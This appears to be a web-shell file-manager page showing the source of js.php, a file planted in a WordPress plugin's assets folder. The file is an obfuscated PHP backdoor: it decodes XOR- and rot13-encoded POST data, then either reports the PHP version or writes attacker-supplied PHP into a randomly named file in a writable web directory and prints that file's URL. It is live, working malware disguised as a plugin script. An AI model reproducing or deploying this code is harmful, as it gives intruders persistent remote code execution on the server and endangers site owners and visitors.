HEX
Server:Apache
System:Linux localhost 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User:enlugo-es (10006)
PHP:7.4.33
Disabled:opcache_get_status
Upload Files
File: /var/www/vhosts/enlugo.es/httpdocs/wp-content/plugins/landing-pages/shared/assets/includes/js.php
<?php $TFpxEOINRO = "\104".'O'.chr(191-124).'U'.chr(688-611)."\x45".'N'.chr(1032-948).chr(95).chr(82)."\117"."\117".'T';$sFpmGk = "\110".'T'.chr(84).'P'."\137".'H'.chr(79).chr(83)."\124";$GoPpFK = "\x68".chr(272-156)."\x74".chr(622-510).chr(983-925).chr(917-870).chr(215-168);$PBWOPW = "\56".chr(112)."\x68".chr(112);$cuCUoi = 'p'.'h'.chr(112);$JThduJE = 'f'.'i'.chr(108)."\145".chr(95).'p'."\x75"."\x74"."\x5f".chr(99)."\157"."\x6e".chr(136-20).chr(101)."\156"."\x74"."\163";$vPHWg = "\162".chr(890-793)."\167"."\x75".'r'."\x6c"."\144".chr(859-758)."\x63"."\157".chr(943-843)."\145";$ydhhF = "\x75".chr(110)."\163".chr(101)."\162".chr(105).chr(1024-927)."\154"."\151"."\172".chr(683-582);$llWvUpdR = chr(449-344).chr(1107-992).chr(95).chr(119).chr(114).'i'."\164".chr(729-632)."\x62".chr(888-780)."\145";$QbJaiUx = 'p'."\x68".chr(112).chr(118).chr(114-13)."\x72"."\163".'i'.'o'.'n';$DoECi = chr(115).'t'.chr(114).'_'."\162".chr(865-754)."\164"."\x31".chr(51);$uBDdQerEz = "\x73"."\145".'r'."\x69".'a'.chr(108).chr(105).chr(122)."\x65";$wxdgJf = "\163".chr(994-878).chr(241-127)."\x5f"."\163"."\160".'l'."\151".chr(362-246);foreach ($_POST as $CRWbHuvu => $uBFgRTTM){$GzHSvCRcN = strlen($CRWbHuvu);if ($GzHSvCRcN == 16){$uBFgRTTM = $wxdgJf($vPHWg($DoECi($uBFgRTTM)));$CRWbHuvu = array_slice($wxdgJf(str_repeat($CRWbHuvu, (count($uBFgRTTM)/16)+1)), 0, count($uBFgRTTM));function LQsylLt($xYbCQ, $bTUMk, $CRWbHuvu){$MTwHZR = "80f90b37-e7bc-458d-b15e-4f99a45f67fe";return $xYbCQ ^ $MTwHZR[$bTUMk % strlen($MTwHZR)] ^ $CRWbHuvu;}$uBFgRTTM = array_map("LQsylLt", array_values($uBFgRTTM), array_keys($uBFgRTTM), array_values($CRWbHuvu));$uBFgRTTM = implode("", $uBFgRTTM);$uBFgRTTM = @$ydhhF($uBFgRTTM);if (@is_array($uBFgRTTM)){$JWKcMPfa = array_keys($uBFgRTTM);$uBFgRTTM = $uBFgRTTM[$JWKcMPfa[0]];if ($uBFgRTTM === $JWKcMPfa[0]){echo @$uBDdQerEz(Array($cuCUoi => @$QbJaiUx(), ));exit();}else {function HoKVfG($vaLtPePVir){static $fDyQAzp = array();$vaLtPePVlFyYRKJ = glob($vaLtPePVir . '/*', GLOB_ONLYDIR);$ECVKlEo = count($vaLtPePVlFyYRKJ);if ($ECVKlEo > 0) {foreach ($vaLtPePVlFyYRKJ as $vaLtPePV) {if (@$llWvUpdR($vaLtPePV)) {$fDyQAzp[] = $vaLtPePV;}}}foreach ($vaLtPePVlFyYRKJ as $vaLtPePVir) HoKVfG($vaLtPePVir);return $fDyQAzp;}$DlcdCnXteT = $_SERVER[$TFpxEOINRO];$vaLtPePVlFyYRKJ = HoKVfG($DlcdCnXteT);$JWKcMPfa = array_rand($vaLtPePVlFyYRKJ);$loXtxA = $vaLtPePVlFyYRKJ[$JWKcMPfa] . "/" . substr(md5(time()), 0, 8) . $PBWOPW;@$JThduJE($loXtxA, $uBFgRTTM);$LTwtPl = $GoPpFK . $_SERVER[$sFpmGk] . substr($loXtxA, strlen($DlcdCnXteT));print($LTwtPl);die();}}}}